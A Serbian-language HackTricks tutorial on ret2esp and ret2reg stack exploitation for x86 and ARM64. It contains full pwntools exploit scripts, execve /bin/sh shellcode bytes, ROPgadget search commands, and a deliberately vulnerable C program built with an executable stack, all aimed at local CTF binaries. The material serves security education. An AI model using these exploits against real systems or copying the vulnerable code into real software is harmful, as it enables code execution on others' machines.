Ret2esp / Ret2reg

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Ret2esp

Pošto ESP (Stack Pointer) uvek pokazuje na vrh steka, ova tehnika uključuje zamenu EIP (Instruction Pointer) sa adresom jmp esp ili call esp instrukcije. Na taj način, shellcode se postavlja odmah nakon prepisanog EIP-a. Kada se izvrši ret instrukcija, ESP pokazuje na sledeću adresu, tačno gde je shellcode smešten.

Ako Address Space Layout Randomization (ASLR) nije omogućen u Windows-u ili Linux-u, moguće je koristiti jmp esp ili call esp instrukcije koje se nalaze u deljenim bibliotekama. Međutim, sa aktivnim ASLR, možda će biti potrebno da se potraže ove instrukcije unutar same ranjive aplikacije (i možda će biti potrebno da se savlada PIE).

Pored toga, mogućnost postavljanja shellcode-a posle korupcije EIP-a, umesto u sredini steka, osigurava da bilo koje push ili pop instrukcije izvršene tokom rada funkcije ne ometaju shellcode. Ova ometanja mogla bi se desiti ako bi shellcode bio postavljen u sredini steka funkcije.

Nedostatak prostora

Ako vam nedostaje prostora da pišete nakon prepisivanja RIP-a (možda samo nekoliko bajtova), napišite inicijalni jmp shellcode kao:

armasm
sub rsp, 0x30
jmp rsp

I napišite shellcode rano u steku.

Primer

Možete pronaći primer ove tehnike u https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp sa konačnim eksploatom kao:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Možete videti još jedan primer ove tehnike u https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Postoji buffer overflow bez omogućene NX opcije, koristi se gadget za redukciju adrese $esp i zatim jmp esp; za skakanje na shellcode:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Slično, ako znamo da funkcija vraća adresu na kojoj je smešten shellcode, možemo iskoristiti call eax ili jmp eax instrukcije (poznate kao ret2eax tehnika), nudeći još jedan način za izvršavanje našeg shellcode-a. Baš kao i eax, bilo koji drugi registar koji sadrži zanimljivu adresu može se koristiti (ret2reg).

Primer

Možete pronaći neke primere ovde:

ARM64

Ret2sp

U ARM64 nema instrukcija koje omogućavaju skakanje na SP registar. Moguće je pronaći gadget koji premesti sp u registar i zatim skoči na taj registar, ali u libc mog kali nisam mogao pronaći nijedan gadget takvog tipa:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Jedini koje sam otkrio bi promenili vrednost registra gde je sp kopiran pre nego što se na njega skoči (tako da bi postao beskoristan):

Ret2reg

Ako registar ima zanimljivu adresu, moguće je skočiti na nju jednostavno pronalazeći adekvatnu instrukciju. Mogli biste koristiti nešto poput:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

U ARM64, x0 čuva povratnu vrednost funkcije, tako da može biti da x0 čuva adresu bafera kojim upravlja korisnik sa shellcode-om za izvršavanje.

Primer koda:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Proverom disasembly-a funkcije moguće je videti da je adresa do bafera (vulnerabilna na bof i kontrolisana od strane korisnika) smeštena u x0 pre nego što se vrati iz buffer overflow-a:

Takođe je moguće pronaći gadget br x0 u funkciji do_stuff:

Iskoristićemo taj gadget da skočimo na njega jer je binarni fajl kompajliran BEZ PIE. Koristeći obrazac, moguće je videti da je offset buffer overflow-a 80, tako da bi exploit bio:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

Ako je umesto fgets korišćena neka funkcija poput read, bilo bi moguće zaobići PIE tako što bi se samo prepisali poslednja 2 bajta adrese povratka da bi se vratio na instrukciju br x0; bez potrebe da se zna cela adresa.
Sa fgets to ne funkcioniše jer dodaje null (0x00) bajt na kraju.

Protekcije

  • NX: Ako stek nije izvršan, ovo neće pomoći jer treba da stavimo shellcode u stek i skočimo da ga izvršimo.
  • ASLR & PIE: Ove zaštite mogu otežati pronalaženje instrukcije za skakanje na esp ili neki drugi registar.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks